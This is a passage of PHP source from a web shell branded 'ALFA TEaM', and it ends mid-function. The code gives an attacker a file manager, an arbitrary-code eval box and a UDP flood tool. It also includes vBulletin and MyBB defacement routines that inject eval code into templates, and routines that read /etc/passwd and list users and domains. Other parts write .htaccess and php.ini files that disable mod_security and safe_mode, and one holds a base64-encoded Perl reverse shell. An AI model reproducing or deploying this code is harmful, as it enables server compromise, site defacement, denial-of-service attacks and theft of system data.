echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" title=\' . $f[\'link\'] . \'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?alfaSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \'\'.urlencode($f[\'name\']).\'\')"> X </a></td></tr>\';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
</form></table></div>";
alfafooter();
}
function alfaFilesTools() {
if( isset($_POST[\'alfa1\']) )
$_POST[\'alfa1\'] = urldecode($_POST[\'alfa1\']);
if(@$_POST[\'alfa2\']==\'download\') {
if(@is_file($_POST[\'alfa1\']) && @is_readable($_POST[\'alfa1\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST[\'alfa1\']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST[\'alfa1\']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST[\'alfa1\'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST[\'alfa2\'] == \'mkfile\' ) {
if(!file_exists($_POST[\'alfa1\'])) {
$fp = @fopen($_POST[\'alfa1\'], \'w\');
if($fp) {
$_POST[\'alfa2\'] = "edit";
fclose($fp);
}
}
}
alfahead();
echo \'<div class=header>\';
if( !file_exists(@$_POST[\'alfa1\']) ) {
echo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\"#ffffff\">FILE DOEST NOT EXITS(Deleted)<b></font> </pre></div>";
alfaFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST[\'alfa1\']));
if(!$uid) {
$uid[\'name\'] = @fileowner($_POST[\'alfa1\']);
$gid[\'name\'] = @filegroup($_POST[\'alfa1\']);
} else $gid = @posix_getgrgid(@filegroup($_POST[\'alfa1\']));
echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'alfa1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'alfa1\'])?alfaSize(filesize($_POST[\'alfa1\'])):\'-\').\' <span>Permission:</span> \'.alfaPermsColor($_POST[\'alfa1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
echo \'<br>\';
if( empty($_POST[\'alfa2\']) )
$_POST[\'alfa2\'] = \'view\';
if( is_file($_POST[\'alfa1\']) )
$m = array(\'View\', \'Highlight\', \'Download\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
else
$m = array(\'Chmod\', \'Rename\', \'Touch\');
foreach($m as $v)
echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')"><span>\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span> \'.$v.\' </span> </b>\':$v).\' </span></a> \';
echo \'<br><br>\';
switch($_POST[\'alfa2\']) {
case \'view\':
echo \'<pre class=ml1>\';
$fp = @fopen($_POST[\'alfa1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</pre>\';
break;
case \'highlight\':
if( @is_readable($_POST[\'alfa1\']) ) {
echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
$code = @highlight_file($_POST[\'alfa1\'],true);
echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
}
break;
case \'chmod\':
if( !empty($_POST[\'alfa3\']) ) {
$perms = 0;
for($i=strlen($_POST[\'alfa3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'alfa3\'][$i]*pow(8, (strlen($_POST[\'alfa3\'])-$i-1));
if(!@chmod($_POST[\'alfa1\'], $perms))
echo \'<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>\';
}
clearstatcache();
echo \'<script>alfa3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'alfa1\'])),-4).\'"><input type=submit value=">>"></form>\';
break;
case \'edit\':
if( !is_writable($_POST[\'alfa1\'])) {
echo \'File isn\'t writeable\';
break;
}
if( !empty($_POST[\'alfa3\']) ) {
$time = @filemtime($_POST[\'alfa1\']);
$_POST[\'alfa3\'] = substr($_POST[\'alfa3\'],1);
$fp = @fopen($_POST[\'alfa1\'],"w");
if($fp) {
@fwrite($fp,$_POST[\'alfa3\']);
@fclose($fp);
echo \'Saved!<br><script>alfa3_="";</script>\';
@touch($_POST[\'alfa1\'],$time,$time);
}
}
echo \'<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
$fp = @fopen($_POST[\'alfa1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</textarea><input type=submit value=">>"></form>\';
break;
case \'hexdump\':
$c = @file_get_contents($_POST[\'alfa1\']);
$n = 0;
$h = array(\'00000000<br>\',\'\',\'\');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= \' \'; break;
case 9: $h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
}
echo \'<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
break;
case \'rename\':
if( !empty($_POST[\'alfa3\']) ) {
if(!@rename($_POST[\'alfa1\'], $_POST[\'alfa3\']))
echo \'Can\'t rename!<br>\';
else
die(\'<script>g(null,null,"\'.urlencode($_POST[\'alfa3\']).\'",null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'alfa1\']).\'"><input type=submit value=">>"></form>\';
break;
case \'touch\':
if( !empty($_POST[\'alfa3\']) ) {
$time = strtotime($_POST[\'alfa3\']);
if($time) {
if(!touch($_POST[\'alfa1\'],$time,$time))
echo \'Fail!\';
else
echo \'Touched!\';
} else echo \'Bad time format!\';
}
clearstatcache();
echo \'<script>alfa3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'alfa1\'])).\'"><input type=submit value=">>"></form>\';
break;
}
echo \'</div>\';
alfaFooter();
}
function alfaphpeval()
{
alfahead();
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'ini\')) {
echo \'<div class=header>\';
ob_start();
$INI=ini_get_all();
print \'<table border=0><tr>\'
.\'<td class="listing"><font class="highlight_txt">Param</td>\'
.\'<td class="listing"><font class="highlight_txt">Global value</td>\'
.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'
.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';
foreach ($INI as $param => $values)
print "
".\'<tr>\'
.\'<td class="listing"><b>\'.$param.\'</td>\'
.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'
.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'
.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';
$tmp = ob_get_clean();
$tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
}
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'info\')) {
echo \'<div class=header><style>.p {color:#000;}</style>\';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
}
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'exten\')) {
echo \'<div class=header>\';
ob_start();
$EXT=get_loaded_extensions ();
print \'<table border=0><tr><td class="listing">\'
.implode(\'</td></tr>\'."
".\'<tr><td class="listing">\', $EXT)
.\'</td></tr></table>\'
.count($EXT).\' extensions loaded\';
echo \'</div><br>\';
}
if(empty($_POST[\'ajax\']) && !empty($_POST[\'alfa1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = false;
echo \'<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'alfa1\'])?htmlspecialchars($_POST[\'alfa1\']):\'\').\'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>\';
echo \'</form><pre id=PhpOutput style="\'.(empty($_POST[\'alfa1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
if(!empty($_POST[\'alfa1\'])) {
ob_start();
eval($_POST[\'alfa1\']);
echo htmlspecialchars(ob_get_clean());
}
echo \'</pre></div>\';
alfafooter();
}
function alfahash()
{
if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}
if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
\'Base64 encode\' => \'base64_encode\',
\'Base64 decode\' => \'base64_decode\',
\'md5 hash\' => \'md5\',
\'sha1 hash\' => \'sha1\',
\'crypt\' => \'crypt\',
\'CRC32\' => \'crc32\',
\'Url encode\' => \'urlencode\',
\'Url decode\' => \'urldecode\',
\'Full urlencode\' => \'full_urlencode\',
\'Htmlspecialchars\' => \'htmlspecialchars\',
);
alfahead();
echo \'<div class=header>\';
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo "<form onSubmit=\'g(null,null,this.selectTool.value,this.input.value); return false;\'><select name=\'selectTool\'>";
foreach($stringTools as $k => $v)
echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
echo "</select><input type=\'submit\' value=\'>>\'/><br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'alfa1\'])?\'\':htmlspecialchars(@$_POST[\'alfa2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'alfa1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
if(!empty($_POST[\'alfa1\'])) {
if(in_array($_POST[\'alfa1\'], $stringTools))echo htmlspecialchars($_POST[\'alfa1\']($_POST[\'alfa2\']));
}
echo "</div>";
alfaFooter();
}
function alfados()
{
alfahead();
echo \'<div class=header>\';
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo \'<center><span>| UDP |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host : </span><input name="udphost" type="text" size="25" /><span> Time : </span><input name="udptime" type="text" size="15" /><span> Port : </span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>\';
echo "<pre class=\'ml1\' style=\'".(empty($_POST[\'alfa1\'])?\'display:none;\':\'\')."margin-top:5px\' >";
if(!empty($_POST[\'alfa1\']) && !empty($_POST[\'alfa2\']) && !empty($_POST[\'alfa3\']))
{
$packets=0;
ignore_user_abort(true);
$exec_time=$_POST[\'alfa2\'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST[\'alfa1\'];
$portudp=$_POST[\'alfa3\'];
for($i=0;$i<65000;$i++)
{
$out .= \'X\';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\'udp://\'.$host, $portudp, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
echo "</pre>";
}
echo \'</div>\';
alfafooter();
}
function alfaIndexChanger(){
alfahead();
echo \'<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_="";</script><center><h3><span>| Index Changer |</span></h3><center><h3><a href=# onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=# onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>\';
if(isset($_POST[\'alfa1\']) && ($_POST[\'alfa1\'] == \'vb\')) {
echo "<script>alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width=\'100%\'>
<tr><td>
<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">vBulletin</font> <font color=\"#FFFFFF\">Index</font> <font color=\"#FF0000\">Changer</font><font color=\"#FFFF01\"> ==</font></b>
<p> <center><form onSubmit=\"g(\'IndexChanger\',null,\'vb\',null,null,null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\" method=POST>
<table border=1>
<tr><td><font color=\'#FFFFFF\'><b>Mysql Host</b></font></td>
<td><input type=text name=dbh value=localhost size=\'50\' ></td></tr>
<tr><td><font color=\'#FFFFFF\'><b>Db User</b><br></font></td>
<td> <input type=text name=dbu size=\'50\' ></td></tr>
<tr><td><font color=\'#FFFFFF\'><b>Db Name</b><br></font></td>
<td> <input type=text name=dbn size=\'50\' ></td></tr>
<tr><td><font color=\'#FFFFFF\'><b>Db Pass</b><br></font></td>
<td> <input type=text name=dbp size=\'50\' ></td></tr>
</table>
<font color=\'#FFFF01\' size=\"3\"><b>your index</b></font><br>
<textarea name=index rows=\'19\' cols=\'103\' style=\'color: #FFFFFF; background-color: #000000\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type=submit value=\'>>\'>
</form></center></td></tr>
</table></center>";
if(isset($_POST[\'alfa6\'])) {
$s0levisible="Powered By Solevisible";
$dbu = $_POST[\'alfa6\'];
$dbn = $_POST[\'alfa7\'];
$dbp = $_POST[\'alfa8\'];
$dbh = $_POST[\'alfa9\'];
$index = $_POST[\'alfa10\'];
$index=str_replace("\'","\'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index))
{
mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$loli1 = "UPDATE template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'spacer_open\'";
$loli2 = "UPDATE template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'FORUMHOME\'";
$loli3 = "UPDATE style SET css=\'".$set_index."".$s0levisible."\', stylevars=\'\', csscolors=\'\', editorstyles=\'\'";
$result = mysql_query($loli1) or die (mysql_error());
$result = mysql_query($loli2) or die (mysql_error());
$result = mysql_query($loli3) or die (mysql_error());
echo "<script>alert(\'VB index changed\');</script>";
}
}
}
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'mybb\')) {
echo "<script>alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width=\'100%\'>
<tr><td>
<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Mybb</font> <font color=\"#FFFFFF\">Index</font> <font color=\"#FF0000\">Changer</font><font color=\"#FFFF01\"> ==</font></b>
<p><center><form onSubmit=\"g(\'IndexChanger\',null,\'null\',\'mybb\',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=\'\'>
<table border=1>
<tr><td><font color=\'#FFFFFF\'><b>Mysql Host</b></font></td>
<td><input type=text name=mybbdbh value=localhost size=\'50\' ></td></tr>
<tr><td><font color=\'#FFFFFF\'><b>Db User</b><br></font></td>
<td> <input type=text name=mybbdbu size=\'50\' ></td></tr>
<tr><td><font color=\'#FFFFFF\'><b>Db Name</b><br></font></td>
<td> <input type=text name=mybbdbn size=\'50\' ></td></tr>
<tr><td><font color=\'#FFFFFF\'><b>Db Pass</b><br></font></td>
<td> <input type=text name=mybbdbp size=\'50\' ></td></tr>
</table>
<font color=\'#FFFF01\' size=\"3\"><b>your index</b></font><br>
<textarea name=mybbindex rows=\'19\' cols=\'103\' style=\'color: #FFFFFF; background-color: #000000\'>
<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type=submit value=\'>>\' >
</form></center></td></tr></table></center>";
if(isset($_POST[\'alfa6\'])) {
$mybb_dbh = $_POST[\'alfa6\'];
$mybb_dbu = $_POST[\'alfa7\'];
$mybb_dbn = $_POST[\'alfa8\'];
$mybb_dbp = $_POST[\'alfa9\'];
$mybb_index = $_POST[\'alfa10\'];
if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index))
{
mysql_connect($mybb_dbh,$mybb_dbu,$mybb_dbp) or die(mysql_error());
mysql_select_db($mybb_dbn) or die(mysql_error());
$prefix="mybb_";
$loli7 = "UPDATE ".$prefix."templates SET template=\'".$mybb_index."\' WHERE title=\'index\'";
$result = mysql_query($loli7) or die (mysql_error());
echo "<script>alert(\'MyBB index changed\');</script>";
}
}
}
echo "</div>";
alfafooter();
}
function alfaproc()
{
alfahead();
echo "<Div class=header><center>";
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
if($GLOBALS[\'sys\']=="win")
{
$process=array(
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
}
else
{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab",
);}
foreach($process as $n => $link)
{
echo \'<a href="#" onclick="g(null,null,\'\'.$link.\'\')"> | \'.$n.\' | </a>\';
}
echo "</center>";
if(!empty($_POST[\'alfa1\']))
{
echo "<pre class=\'ml1\' style=\'margin-top:5px\' >";
echo alfaEx($_POST[\'alfa1\']);
echo \'</pre>\';
}
echo "</div>";
alfafooter();
}
function alfasafe()
{
alfahead();
echo "<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=\"\"</script><center><h3><span>| Atuo ByPasser |</span></h3>";
echo \'<h3><a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(apache) | </a><a href=# onclick="g(null,null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=# onclick="g(null,null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=# onclick="g(null,null,null,null,null,null,\'users\')">| Read-Users | </a><a href=# onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=# onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>\';
if(!empty($_POST[\'alfa8\']) && isset($_POST[\'alfa8\']) == \'domains\')
{if(!@file_exists("/etc/virtual/domainowners")){
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
$solevisible9 = @file(\'/etc/named.conf\');
foreach($solevisible9 as $solevisible13){
if(@eregi(\'zone\',$solevisible13)){
preg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);
if(strlen(trim($solevisible14[1][0])) > 2){
echo $solevisible14[1][0].\'<br>\';
}}}
}else{
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>".
$users = @file("/etc/virtual/domainowners");
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."
";
}}}
if(!empty($_POST[\'alfa6\']) && isset($_POST[\'alfa6\']) == \'valiases\')
{
echo \'<center><script>alfa6_=alfa7_=alfa9_=\"\"</script>
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,this.go.value); return false;" method="post" action="" />
<input type="text" placeholder="site.com" name="site" />
<input type="submit" value=">>" name="go" />
</form></center>
\';
if($_POST[\'alfa9\'] && $_POST[\'alfa9\'] == \'>>\')
{
if(!@file_exists("/etc/virtual/domainowners")){
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
$site = trim($_POST[\'alfa7\']);
$rep = str_replace(array("https://","http://","www."),"",$site);
if($user = posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
if($user[\'name\']!= \'root\'){
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">
<center>
<table border=1>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user[\'name\']}</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr>
</table>
</center>";}}}
else {echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br/><center><b>No such file or directory Or Disable Functions is not NONE...</b></center>\';}
}else{
$site = trim($_POST[\'alfa7\']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = @file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">
<center>
<table border=1>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST[\'alfa5\']) && isset($_POST[\'alfa5\']))
{
if(!@file_exists("/etc/virtual/domainowners")){
echo \'<pre id="strOutput" style="margin-top:5px" class="ml1">\';
$i = 0;
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."
";
break;}}$i++;}
}else{echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br>\';
$users = @file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).\'<br>\';}}}
if(!empty($_POST[\'alfa4\']) && isset($_POST[\'alfa4\'])){
echo \'<pre id="strOutput" style="margin-top:5px" class="ml1">\';
if(function_exists("system") || function_exists("exec") || function_exists("passthru") || function_exists("shell_exec")){echo alfaEx("cat /etc/passwd");}
elseif(function_exists("file_get_contents") && is_readable("/etc/passwd")){
echo file_get_contents("/etc/passwd");}
elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}print "
";}}
} else{echo \'<script>alert("Error in bypass... im sorry:\(")</script>\';}}
if(!empty($_POST[\'alfa2\']) && isset($_POST[\'alfa2\'])){
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'#Generated By Sole Sad and Invisible
<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
fclose($fil);
echo \'<script>alert("htaccess for Apache is created...!")</script>\';
}
if(!empty($_POST[\'alfa1\'])&& isset($_POST[\'alfa1\']))
{
$fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
fwrite($fil,\'safe_mode=OFF
disable_functions=ByPass By Sole Sad & Invisible(ALFA TEaM)\');
fclose($fil);
$file2=fopen($GLOBALS[\'cwd\']."ini.php","w");
fwrite($file2,\'<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
?>\');
fclose($file2);
echo \'<script>alert("php.ini && ini.php is created...!")</script>\';
}
if(!empty($_POST[\'alfa3\']) && isset($_POST[\'alfa3\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'#Generated By Sole Sad and Invisible
<Files *.php>
ForceType application/x-httpd-php4
</Files>
ahm tas: <IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>\');
fclose($fil);
echo \'<script>alert("htaccess for Litespeed is created...!")</script>\';
}
echo "<br></div>";
alfafooter();
}
function alfaconnect()
{
alfahead();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
